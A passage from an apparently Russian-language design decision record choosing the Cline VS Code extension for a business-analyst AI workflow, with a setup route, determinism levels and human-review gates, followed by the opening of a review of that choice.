\u043e\u043f\u044b\u0442\u043d\u043e\u0439 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u044d\u0442\u043e\u0433\u043e \u0434\u043e\u0441\u0442\u0430\u0442\u043e\u0447\u043d\u043e \u043f\u0440\u0438 \u0443\u0441\u043b\u043e\u0432\u0438\u0438 \u043e\u0431\u044f\u0437\u0430\u0442\u0435\u043b\u044c\u043d\u043e\u0433\u043e \u0436\u0443\u0440\u043d\u0430\u043b\u0430 \u0448\u0430\u0433\u043e\u0432 (\u0441\u043c. \u0441\u0445\u0435\u043c\u0443 \u043d\u0438\u0436\u0435); \u0437\u0430\u044f\u0432\u043b\u044f\u0442\u044c \u0434\u0435\u0442\u0435\u0440\u043c\u0438\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439 end-to-end \u043f\u0440\u043e\u0433\u043e\u043d \u043d\u0435\u043b\u044c\u0437\u044f.\\n## Decision\\n\\n\u0412\u044b\u0431\u0440\u0430\u0442\u044c **Cline \u043a\u0430\u043a \u0440\u0430\u0441\u0448\u0438\u0440\u0435\u043d\u0438\u0435 VS Code** \u0438 \u0442\u043e\u043b\u044c\u043a\u043e \u0435\u0433\u043e \u0434\u043b\u044f \u0441\u0440\u0435\u0434\u044b 2. \u041e\u0442\u0434\u0435\u043b\u044c\u043d\u044b\u0439 runtime \u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u0439 \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0443\u0435\u0442\u0441\u044f \u043d\u0430\u0437\u0432\u0430\u0442\u044c `G-Ivan-A/mango-ba-ai-runtime-cline`; \u043d\u0435 \u0440\u0430\u0437\u043c\u0435\u0449\u0430\u0442\u044c \u0435\u0433\u043e \u043d\u0430\u0441\u0442\u0440\u043e\u0439\u043a\u0438 \u0438 \u0438\u043d\u0441\u0442\u0440\u0443\u043a\u0446\u0438\u0438 \u0432 GigaCode-\u043f\u0430\u043a\u0435\u0442\u0435. Source \u043c\u043e\u0434\u0435\u043b\u0438 \u0438 \u043e\u0431\u0449\u0438\u0439 \u043d\u0430\u0431\u043e\u0440 \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u043e\u0432 \u043e\u0441\u0442\u0430\u044e\u0442\u0441\u044f \u0432 `projects/ba-ai-process/`; \u0430\u0434\u0430\u043f\u0442\u0435\u0440 Cline \u043a\u043e\u043c\u043f\u0438\u043b\u0438\u0440\u0443\u0435\u0442 \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u044b\u0439 `dist/execution-package-cline-vscode/` \u0441 \u0441\u043e\u0431\u0441\u0442\u0432\u0435\u043d\u043d\u044b\u043c manifest \u0438 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0430\u0446\u0438\u0435\u0439 \u0434\u043b\u044f \u0411\u0410. \u041d\u0430\u0437\u0432\u0430\u043d\u0438\u0435 \u2014 \u043f\u0440\u0435\u0434\u043b\u0430\u0433\u0430\u0435\u043c\u044b\u0439 \u043f\u0443\u0442\u044c \u0431\u0443\u0434\u0443\u0449\u0435\u0439 \u0440\u0435\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u0438, \u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u0439 \u044d\u0442\u0438\u043c ADR \u043d\u0435 \u0441\u043e\u0437\u0434\u0430\u0451\u0442\u0441\u044f.\\n\\n\u0414\u0435\u0442\u0435\u0440\u043c\u0438\u043d\u0438\u0437\u043c \u043a\u0432\u0430\u043b\u0438\u0444\u0438\u0446\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u043f\u043e \u0443\u0440\u043e\u0432\u043d\u044f\u043c:\\n\\n1. **\u041c\u0430\u0448\u0438\u043d\u043d\u044b\u0439:** \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u044b\u0439 \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u044b\u0439 runner/CI \u0441\u0430\u043c \u0432\u044b\u0437\u044b\u0432\u0430\u0435\u0442 \u0432\u0430\u043b\u0438\u0434\u0430\u0442\u043e\u0440 \u0438 \u043a\u043e\u043c\u043f\u0438\u043b\u044f\u0442\u043e\u0440, \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u0442 exit code, \u0433\u0440\u0430\u0444 \u0438 \u0441\u043e\u0445\u0440\u0430\u043d\u0451\u043d\u043d\u043e\u0435 \u0441\u043e\u0441\u0442\u043e\u044f\u043d\u0438\u0435. \u042d\u0442\u043e\u0442 \u0443\u0440\u043e\u0432\u0435\u043d\u044c \u043c\u043e\u0436\u0435\u0442 \u0431\u044b\u0442\u044c \u043f\u0440\u043e\u0432\u0435\u0440\u0435\u043d \u0432\u043e\u0441\u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0438\u043c\u044b\u043c \u0442\u0435\u0441\u0442\u043e\u043c.\\n2. **\u0410\u0433\u0435\u043d\u0442\u043d\u044b\u0439:** Cline \u043f\u043e\u043b\u0443\u0447\u0430\u0435\u0442 \u043f\u0440\u0430\u0432\u0438\u043b\u0430, \u0433\u043e\u0442\u043e\u0432\u0438\u0442 \u0447\u0435\u0440\u043d\u043e\u0432\u0438\u043a, \u043f\u0440\u0435\u0434\u043b\u0430\u0433\u0430\u0435\u0442 \u0432\u044b\u0437\u043e\u0432\u044b tools \u0438 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f. \u0415\u0433\u043e \u0432\u044b\u0431\u043e\u0440 \u0438 \u0442\u0435\u043a\u0441\u0442\u043e\u0432\u044b\u0439 \u0432\u044b\u0432\u043e\u0434 \u0432\u0435\u0440\u043e\u044f\u0442\u043d\u043e\u0441\u0442\u043d\u044b; `AGENTS.md` \u0438 Cline rules \u043f\u043e\u043c\u043e\u0433\u0430\u044e\u0442, \u043d\u043e \u043d\u0435 \u0437\u0430\u043c\u0435\u043d\u044f\u044e\u0442 runner.\\n3. **\u0427\u0435\u043b\u043e\u0432\u0435\u0447\u0435\u0441\u043a\u0438\u0439:** \u0411\u0410 \u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0436\u0434\u0430\u0435\u0442 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432\u0443\u044e \u0430\u0442\u0440\u0438\u0431\u0443\u0446\u0438\u044e, \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u0438, Working baseline \u0438 Release. \u0421\u0435\u043c\u0430\u043d\u0442\u0438\u043a\u0430 \u0438 \u043f\u0440\u0430\u0432\u0430 \u043d\u0430 \u043f\u0443\u0431\u043b\u0438\u043a\u0430\u0446\u0438\u044e \u043d\u0435 \u0432\u044b\u0434\u0430\u044e\u0442\u0441\u044f \u0438\u0437 Python exit code.\\n\\n\u0412 \u0431\u0443\u0434\u0443\u0449\u0435\u0439 \u043f\u043e\u0441\u0442\u0430\u0432\u043a\u0435 `AGENTS.md` \u2014 \u0435\u0434\u0438\u043d\u0441\u0442\u0432\u0435\u043d\u043d\u044b\u0439 \u043e\u0441\u043d\u043e\u0432\u043d\u043e\u0439 \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442; \u043d\u0435\u043e\u0431\u0445\u043e\u0434\u0438\u043c\u044b\u0439 \u0434\u043b\u044f Cline `.clinerules` \u043c\u043e\u0436\u0435\u0442 \u0431\u044b\u0442\u044c \u0442\u043e\u043b\u044c\u043a\u043e \u043a\u043e\u0440\u043e\u0442\u043a\u0438\u043c \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u043c\u044b\u043c \u0443\u043a\u0430\u0437\u0430\u0442\u0435\u043b\u0435\u043c \u043d\u0430 \u043d\u0435\u0433\u043e \u0438 \u043d\u0430 \u044f\u0432\u043d\u0443\u044e \u043a\u043e\u043c\u0430\u043d\u0434\u0443 runner. \u041d\u0430\u0432\u044b\u043a\u0438, \u043d\u0443\u0436\u043d\u044b\u0435 \u0434\u043b\u044f Cline, \u043a\u043e\u043c\u043f\u0438\u043b\u0438\u0440\u0443\u044e\u0442\u0441\u044f \u0432 \u043d\u0430\u0442\u0438\u0432\u043d\u044b\u0439 \u0444\u043e\u0440\u043c\u0430\u0442 \u0431\u0435\u0437 \u043a\u043e\u043f\u0438\u0438 \u043d\u0435\u0437\u0430\u0432\u0438\u0441\u0438\u043c\u043e\u0439 \u043d\u043e\u0440\u043c\u044b. \u041d\u0435 \u0434\u043e\u043f\u0443\u0441\u043a\u0430\u0442\u044c agent edit `tools/`, `contracts/`, `routes/` \u0438\u043b\u0438 manifest \u0432\u043d\u0443\u0442\u0440\u0438 \u0431\u0438\u0437\u043d\u0435\u0441-\u043f\u0440\u043e\u0433\u043e\u043d\u0430: \u0438\u0437\u043c\u0435\u043d\u0435\u043d\u0438\u044f \u0432 \u043d\u0438\u0445 \u043f\u0440\u043e\u0445\u043e\u0434\u044f\u0442 \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u044b\u0439 Source PR \u0438 recompilation. \u0418\u0441\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435 \u0432\u0430\u043b\u0438\u0434\u0430\u0442\u043e\u0440\u0430 \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0438\u0442\u0441\u044f \u043f\u043e\u0434 \u043f\u0440\u0430\u0432\u0430\u043c\u0438 \u0411\u0410/CI, \u0430 \u043d\u0435 \u00ab\u0447\u0442\u0435\u043d\u0438\u0435\u043c Python \u043a\u0430\u043a \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u0430\u00bb. CI \u043e\u0431\u044f\u0437\u0430\u043d \u043e\u0442\u0432\u0435\u0440\u0433\u0430\u0442\u044c \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442 \u0431\u0435\\n\\n\u041e\u043f\u0435\u0440\u0430\u0442\u043e\u0440\u0441\u043a\u0438\u0439 \u043c\u0430\u0440\u0448\u0440\u0443\u0442 \u0434\u043b\u044f guide \u0431\u0443\u0434\u0443\u0449\u0435\u0433\u043e Cline-\u043f\u0430\u043a\u0435\u0442\u0430:\\n\\n1. \u041d\u0430 \u0440\u0430\u0437\u0440\u0435\u0448\u0451\u043d\u043d\u043e\u043c \u0410\u0420\u041c \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u0438\u0442\u044c Git, VS Code, \u043e\u0444\u0438\u0446\u0438\u0430\u043b\u044c\u043d\u043e\u0435 \u0440\u0430\u0441\u0448\u0438\u0440\u0435\u043d\u0438\u0435 [Cline](https://github.com/cline/cline/blob/main/docs/getting-started/installing-cline.mdx), Python 3 \u0438 \u0437\u0430\u0432\u0438\u0441\u0438\u043c\u043e\u0441\u0442\u0438 **\u0437\u0430\u0444\u0438\u043a\u0441\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0439** \u0432\u0435\u0440\u0441\u0438\u0438 \u043f\u0430\u043a\u0435\u0442\u0430. \u0414\u043e\u0441\u0442\u0430\u0442\u043e\u0447\u0435\u043d \u043a\u043e\u043c\u043f\u044c\u044e\u0442\u0435\u0440, \u043f\u043e\u0434\u0434\u0435\u0440\u0436\u0438\u0432\u0430\u044e\u0449\u0438\u0439 VS Code \u0438 Python; \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u0430\u044f GPU \u0434\u043b\u044f \u0443\u0434\u0430\u043b\u0451\u043d\u043d\u043e\u0439 \u043c\u043e\u0434\u0435\u043b\u0438 \u043d\u0435 \u043d\u0443\u0436\u043d\u0430. Junior \u0411\u0410 \u0434\u043e\u043b\u0436\u0435\u043d \u0443\u043c\u0435\u0442\u044c \u043e\u0442\u043a\u0440\u044b\u0442\u044c \u043f\u0430\u043f\u043a\u0443 \u0432 VS Code, \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u0433\u043e\u0442\u043e\u0432\u0443\u044e \u043a\u043e\u043c\u0430\u043d\u0434\u0443 \u0432 \u0442\u0435\u0440\u043c\u0438\u043d\u0430\u043b\u0435 \u0438 \u043f\u0440\u043e\u0447\u0435\u0441\u0442\u044c PASS/FAIL; \u0441\u043e\u0437\u0434\u0430\u043d\u0438\u0435 MCP-\u043a\u043e\u043d\u0444\u0438\u0433\u0443\u0440\u0430\u0446\u0438\u0438 \u0438 \u0432\u044b\u0434\u0430\u0447\u0430 \u043f\u0440\u0430\u0432 \u2014 \u0437\u0430\u0434\u0430\u0447\u0430 \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u0430.\\n2. \u041f\u043e\u043b\u0443\u0447\u0438\u0442\u044c **\u0441\u0432\u043e\u0439** \u043a\u043b\u044e\u0447 \u0432 AI Core. \u041e\u0442\u043a\u0440\u044b\u0442\u044c Cline Settings \u2192 API Provider `OpenAI Compatible`; \u0443\u043a\u0430\u0437\u0430\u0442\u044c Base URL, \u0432\u044b\u0434\u0430\u043d\u043d\u044b\u0439 AI Core, \u043c\u043e\u0434\u0435\u043b\u044c `gpu-default`, \u043f\u0435\u0440\u0441\u043e\u043d\u0430\u043b\u044c\u043d\u044b\u0439 \u043a\u043b\u044e\u0447, Context Window `114688`, Max Output Tokens `16384`, \u0432\u044b\u043a\u043b\u044e\u0447\u0438\u0442\u044c image support. \u0414\u043b\u044f \u0431\u043e\u043b\u0435\u0435 \u0434\u043b\u0438\u043d\u043d\u043e\u0433\u043e \u0430\u043d\u0430\u043b\u0438\u0437\u0430 `gpu-deep` \u0438\u043c\u0435\u0435\u0442 \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u044b\u0435 \u043b\u0438\u043c\u0438\u0442\u044b `98304`/`32768`; \u043f\u0435\u0440\u0435\u043a\u043b\u044e\u0447\u0430\u0442\u044c \u043f\u043e\u0441\u043b\u0435 \u043f\u0438\u043b\u043e\u0442\u0430. \u042d\u0442\u0438 \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u044f \u0432\u0437\u044f\u0442\u044b \u0438\u0437 [\u0432\u043d\u0443\u0442\u0440\u0435\u043d\u043d\u0435\u0439 \u0438\u043d\u0441\u0442\u0440\u0443\u043a\u0446\u0438\u0438](https://github.com/user-attachments/files/32652321/default.txt), \u0430 \u043d\u0435 \u0438\u0437\u043c\u0435\u0440\u0435\u043d\u044b \u0432 Cline. HTTP \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u043b\u0438\u0448\u044c \u0432 \u043a\u043e\u0440\u043f\u043e\u0440\u0430\u0442\u0438\u0432\u043d\u043e\u0439 \u0441\u0435\u0442\u0438/VPN \u0441\u043e\u0433\u043b\u0430\u0441\u043d\u043e \u0442\u043e\u0439 \u0436\u0435 \u0438\u043d\u0441\u0442\u0440\u0443\u043a\u0446\u0438\u0438; \u043a\u043b\u044e\u0447 \u043d\u0435 \u043f\u043e\u043c\u0435\u0449\u0430\u0442\u044c \u0432 Git, \u0447\u0430\u0442 \u0438\u043b\u0438 \u0441\u043a\u0440\u0438\u043d\u0448\u043e\u0442.\\n3. \u0421\u043e\u0437\u0434\u0430\u0442\u044c/\u043a\u043b\u043e\u043d\u0438\u0440\u043e\u0432\u0430\u0442\u044c `mango-ba-ai-runtime-cline` \u0432 \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u0443\u044e \u043f\u0430\u043f\u043a\u0443. \u041f\u0440\u043e\u0432\u0435\u0440\u0438\u0442\u044c package manifest, `python3 --version`, \u0437\u0430\u0432\u0438\u0441\u0438\u043c\u043e\u0441\u0442\u0438 \u0438 \u043a\u043e\u043c\u0430\u043d\u0434\u0443 gate \u0438\u0437 README \u043f\u0430\u043a\u0435\u0442\u0430. \u041f\u0430\u043a\u0435\u0442 \u0434\u043e\u043b\u0436\u0435\u043d \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u0442\u044c `AGENTS.md`, \u0430\u0434\u0430\u043f\u0442\u0435\u0440 Cline, `contracts/`, `routes/`, `taxonomy/`, `templates/`, `evaluation/`, `golden/`, `tools/`, `meta-model/` \u0438 `docs/kb/`; `runs/` \u0438 \u0441\u0435\u043a\u0440\u0435\u0442\u044b \u0438\u0441\u043a\u043b\u044e\u0447\u0438\u0442\u044c \u0438\u0437 \u043f\u0443\u0431\u043b\u0438\u0447\u043d\u043e\u0433\u043e Git. \u041d\u0435 \u043a\u043e\u043f\u0438\u0440\u043e\u0432\u0430\u0442\u044c `.gigacode/skills/` \u043a\u0430\u043a \u044f\u043a\u043e\u0431\u044b \u043d\u0430\u0442\u0438\u0432\u043d\u044b\u0435 Cline skills.\\n4. \u0410\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440 \u0434\u043e\u0431\u0430\u0432\u043b\u044f\u0435\u0442 **\u043e\u0442\u0434\u0435\u043b\u044c\u043d\u044b\u0439** \u043e\u0434\u043e\u0431\u0440\u0435\u043d\u043d\u044b\u0439 MCP \u0434\u043b\u044f Jira/Confluence \u0447\u0435\u0440\u0435\u0437 Cline MCP Servers \u0438 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u0442 `tools/list`/\u043f\u0440\u043e\u0431\u043d\u044b\u0439 read-only \u043f\u043e\u0438\u0441\u043a \u043f\u043e \u0442\u0435\u0441\u0442\u043e\u0432\u043e\u0439 \u0441\u0442\u0440\u0430\u043d\u0438\u0446\u0435 \u0438 issue. \u041f\u043e\u043a\u0430 MCP \u043d\u0435 \u0432\u044b\u0434\u0430\u043d, BA \u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442 \u0442\u043e\u043b\u044c\u043a\u043e \u0441 \u0440\u0430\u0437\u0440\u0435\u0448\u0451\u043d\u043d\u043e\u0439 \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u043e\u0439 KB, \u043c\u0430\u0440\u043a\u0438\u0440\u0443\u0435\u0442 \u043d\u0435\u0434\u043e\u0441\u0442\u0443\u043f\u043d\u044b\u0439 \u0432\u043d\u0435\u0448\u043d\u0438\u0439 \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a \u043a\u0430\u043a \u043f\u0440\u043e\u0431\u0435\u043b \u0438 \u043d\u0435 \u0443\u0442\u0432\u0435\u0440\u0436\u0434\u0430\u0435\u0442 \u043d\u0435\u043f\u0440\u043e\u0432\u0435\u0440\u0435\u043d\u043d\u0443\u044e \u0446\u0438\u0442\u0430\u0442\u0443. Model API key \u043d\u0435 \u043f\u043e\u0434\u0441\u0442\u0430\u0432\u043b\u044f\u0442\u044c \u0432 MCP \u043a\u0430\u043a \u0443\u043d\u0438\u0432\u0435\u0440\u0441\u0430\u043b\u044c\u043d\u044b\u0439 \u043f\u0430\u0440\u043e\u043b\u044c.\\n5. \u0412 VS Code \u043e\u0442\u043a\u0440\u044b\u0442\u044c runtime-\u043f\u0430\u043f\u043a\u0443, \u043f\u0440\u043e\u0432\u0435\u0440\u0438\u0442\u044c \u043e\u0442\u043a\u043b\u044e\u0447\u0451\u043d\u043d\u043e\u0435 \u0430\u0432\u0442\u043e\u043e\u0434\u043e\u0431\u0440\u0435\u043d\u0438\u0435 \u043e\u043f\u0430\u0441\u043d\u044b\u0445 \u0434\u0435\u0439\u0441\u0442\u0432\u0438\u0439, \u0434\u0430\u0442\u044c Cline \u043e\u0434\u0438\u043d `TASK-0001` \u0441 \u0441\u0438\u043d\u0442\u0435\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u043c/\u0440\u0430\u0437\u0440\u0435\u0448\u0451\u043d\u043d\u044b\u043c \u0432\u0445\u043e\u0434\u043e\u043c, \u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0434\u0438\u0442\u044c `n0`, \u0437\u0430\u0442\u0435\u043c \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c route \u0447\u0435\u0440\u0435\u0437 runner. \u041f\u043e\u0441\u043b\u0435 \u043a\u0430\u0436\u0434\u043e\u0433\u043e \u0448\u0430\u0433\u0430 \u0411\u0410 \u0432\u0438\u0434\u0438\u0442 \u0443\u0437\u0435\u043b, \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a, \u043a\u043e\u043c\u0430\u043d\u0434\u0443/exit code \u0433\u0435\u0439\u0442\u0430 \u0438 Markdown checkpoint; \u043f\u0440\u0438 FAIL \u043e\u0441\u0442\u0430\u043d\u0430\u0432\u043b\u0438\u0432\u0430\u0435\u0442\u0441\u044f. \u0414\u043b\u044f Release \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u043e \u0442\u0440\u0435\u0431\u0443\u044e\u0442\u0441\u044f \u043e\u0434\u043e\u0431\u0440\u0435\u043d\u043d\u044b\u0439 Working, `validate-working`, `compile`, `validate-release`, human review.\\n\\n## \u0420\u0430\u0441\u0448\u0438\u0440\u0435\u043d\u043d\u043e\u0435 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043d\u0438\u0435 \u0441\u0440\u0435\u0434\u044b 2 \u043f\u043e review PR #616 (2026-09-26)\\n\\n## Summary\\n\\n**\u0420\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0430\u0446\u0438\u044f:** \u0441\u043e\u0445\u0440\u0430\u043d\u0438\u0442\u044c \u043e\u0434\u0438\u043d Source \u0438 \u0434\u0432\u0430 \u0430\u0434\u0430\u043f\u0442\u0435\u0440\u0430 \u0441\u0440\u0435\u0434\u044b, \u043f\u043e\u043a\u0430 \u043f\u0430\u0440\u043d\u044b\u0439\\n\u043f\u0438\u043b\u043e\u0442 \u043d\u0435 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u0442 \u043d\u0435\u0441\u043e\u0432\u043c\u0435\u0441\u0442\u0438\u043c\u043e\u0435 \u043d\u043e\u0440\u043c\u0430\u0442\u0438\u0432\u043d\u043e\u0435 \u043e\u0431\u044f\u0437\u0430\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u043e. \u0412 \u0442\u0435\u043a\u0443\u0449\u0435\u043c \u0441\u0440\u0435\u0437\u0435\\n\u043e\u0431\u0449\u0438\u0439 BCREQ-\u043a\u043e\u043c\u043f\u0438\u043b\u044f\u0442\u043e\u0440 \u0432 \u0434\u0432\u0443\u0445 \u043f\u0430\u043a\u0435\u0442\u0430\u0445 \u043f\u043e\u0431\u0430\u0439\u0442\u043e\u0432\u043e \u043e\u0434\u0438\u043d\u0430\u043a\u043e\u0432, \u0430 \u0441\u0445\u0435\u043c\u044b Working\\n\u0440\u0430\u0437\u043b\u0438\u0447\u0430\u044e\u0442\u0441\u044f \u0442\u043e\u043b\u044c\u043a\u043e \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0435\u043c `$id` \u043f\u0430\u043a\u0435\u0442\u0430. \u041d\u043e \u043c\u0430\u0440\u0448\u0440\u0443\u0442\u044b \u0438\u043c\u0435\u044e\u0442 \u0440\u0430\u0437\u043d\u0443\u044e \u043f\u043e\u043b\u043d\u043e\u0442\u0443:\\nGigaCode CLI \u043e\u0445\u0432\u0430\u0442\u044b\u0432\u0430\u0435\u0442 `A-IN \u2192 A-CORE \u2192 BCREQ`, Cline \u0441\u0435\u0439\u0447\u0430\u0441 \u0438\u0441\u043f\u043e\u043b\u043d\u044f\u0435\u0442\\n\u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u043d\u044b\u0439 `Working \u2192 Release`. \u042d\u0442\u043e \u0441\u0432\u0438\u0434\u0435\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u043e **\u0435\u0434\u0438\u043d\u0441\u0442\u0432\u0430 \u043e\u0431\u0449\u0435\u0433\u043e \u044f\u0434\u0440\u0430**,\\n\u0430 \u043d\u0435 \u0434\u043e\u043a\u0430\u0437\u0430\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u043e \u0440\u0430\u0432\u0435\u043d\u0441\u0442\u0432\u0430 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c\u0441\u043a\u0438\u0445 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u043e\u0432 \u0438\u043b\u0438 \u0433\u043e\u0442\u043e\u0432\u043d\u043e\u0441\u0442\u0438\\n\u0431\u043e\u0435\u0432\u043e\u0433\u043e Cline-\u043f\u0438\u043b\u043e\u0442\u0430. \u041e\u0434\u0438\u043d \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u044b\u0439 \u0446\u0438\u043a\u043b \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d \u043d\u0430 \u043f\u0443\u0431\u043b\u0438\u0447\u043d\u043e\u0439\\n\u0441\u0438\u043d\u0442\u0435\u0442\u0438\u043a\u0435; \u0431\u043e\u0435\u0432\u044b\u0435 \u043f\u0440\u043e\u0433\u043e\u043d\u044b \u0432 \u0434\u0432\u0443\u0445 \u043a\u043b\u0438\u0435\u043d\u0442\u0430\u0445 \u043e\u0441\u0442\u0430\u044e\u0442\u0441\u044f \u043e\u0442\u043a\u0440\u044b\u0442\u044b\u043c gate.\\n\\n## Motivation\\n\\n\u0418\u0441\u0445\u043e\u0434\u043d\u044b\u0439 [\u0434\u0438\u0430\u043b\u043e\u0433 \u0438\u0437 issue #630](https://github.com/user-attachments/files/32743482/2.280926.txt)\\n\u0441\u043e\u0434\u0435\u0440\u0436\u0438\u0442 20 \u043d\u0430\u0431\u043b\u044e\u0434\u0435\u043d\u0438\u0439 \u043e Cline-\u0438\u043d\u0441\u0442\u0440\u0443\u043a\u0446\u0438\u044f\u0445. \u0422\u0430\u043c \u0436\u0435 \u043f\u043e\u0441\u0442\u0430\u0432\u043b\u0435\u043d \u0432\u043e\u043f\u0440\u043e\u0441 \u043e\\n\u043f\u043e\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u044c\u043d\u043e\u0441\u0442\u0438: \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0430 \u043f\u0430\u043a\u0435\u0442\u0430 \u0438 \u043c\u043e\u0434\u0435\u043b\u0438, \u0443\u043b\u0443\u0447\u0448\u0435\u043d\u0438\u0435 Source, \u0437\u0430\u0442\u0435\u043c\\n\u0444\u0438\u043d\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u044f \u0438\u043d\u0441\u0442\u0440\u0443\u043a\u0446\u0438\u0439. \u041d\u0430\u0431\u043b\u044e\u0434\u0435\u043d\u0438\u044f \u0441\u043c\u0435\u0448\u0438\u0432\u0430\u044e\u0442 \u043d\u0435\u0434\u043e\u0441\u0442\u0430\u0442\u043a\u0438 \u0442\u0435\u043a\u0441\u0442\u0430, \u043d\u0435\u0434\u043e\u0441\u0442\u0430\u044e\u0449\u0438\u0435\\n\u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u0438 \u043f\u0430\u043a\u0435\u0442\u0430 \u0438 \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u0438\u044f \u0441\u0440\u0435\u0434\u044b. \u0418\u0445 \u043f\u0435\u0440\u0435\u043d\u043e\u0441 \u0432 \u0440\u0443\u043a\u043e\u0432\u043e\u0434\u0441\u0442\u0432\u043e \u0431\u0435\u0437\\n\u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438 \u043c\u043e\u0433 \u0431\u044b \u043e\u043f\u0438\u0441\u0430\u0442\u044c \u0435\u0449\u0451 \u043d\u0435 \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u044e\u0449\u0443\u044e \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u044c \u043a\u0430\u043a \u0440\u0430\u0431\u043e\u0442\u0430\u044e\u0449\u0443\u044e.\\n\\n\u0421\u043e\u0433\u043b\u0430\u0441\u043d\u043e [\u043a\u043e\u043d\u0446\u0435\u043f\u0446\u0438\u0438 \u0425\u0430\u0431\u0430](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/docs/concept.md)\\n\u0438 [ADR-017](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/decisions/2026-09-adr-017-ba-ai-process-source-distribution.md),\\nSource \u0445\u0440\u0430\u043d\u0438\u0442 \u043f\u0440\u0438\u0447\u0438\u043d\u044b \u0438 \u043e\u0431\u0449\u0443\u044e \u043c\u043e\u0434\u0435\u043b\u044c, Distribution \u0441\u043e\u0434\u0435\u0440\u0436\u0438\u0442 \u0430\u0432\u0442\u043e\u043d\u043e\u043c\u043d\u044b\u0439 \u043f\u0430\u043a\u0435\u0442,\\n\u0430 \u043d\u0430\u0431\u043b\u044e\u0434\u0435\u043d\u0438\u044f runtime \u0432\u043e\u0437\u0432\u0440\u0430\u0449\u0430\u044e\u0442\u0441\u044f \u0432 Source \u0441 \u043f\u0440\u043e\u0438\u0441\u0445\u043e\u0436\u0434\u0435\u043d\u0438\u0435\u043c. \u041f\u043e\u044d\u0442\u043e\u043c\u0443 \u043f\u0438\u043b\u043e\u0442\\n\u0434\u043e\u043b\u0436\u0435\u043d \u0440\u0430\u0437\u043b\u0438\u0447\u0430\u0442\u044c \u043d\u043e\u0440\u043c\u0430\u0442\u0438\u0432\u043d\u043e\u0435 \u0440\u0430\u0441\u0445\u043e\u0436\u0434\u0435\u043d\u0438\u0435 \u0438 \u0430\u0434\u0430\u043f\u0442\u0435\u0440\u043d\u0443\u044e \u0444\u043e\u0440\u043c\u0443, \u0430 \u043d\u0435 \u043e\u0431\u044a\u044f\u0432\u043b\u044f\u0442\u044c\\n\u043a\u0430\u0436\u0434\u043e\u0435 \u043e\u0442\u043b\u0438\u0447\u0438\u0435 \u043f\u0430\u043a\u0435\u0442\u043e\u0432 \u0432\u0442\u043e\u0440\u044b\u043c Source.\\n\\n## Goals and Non-goals\\n\\n=== 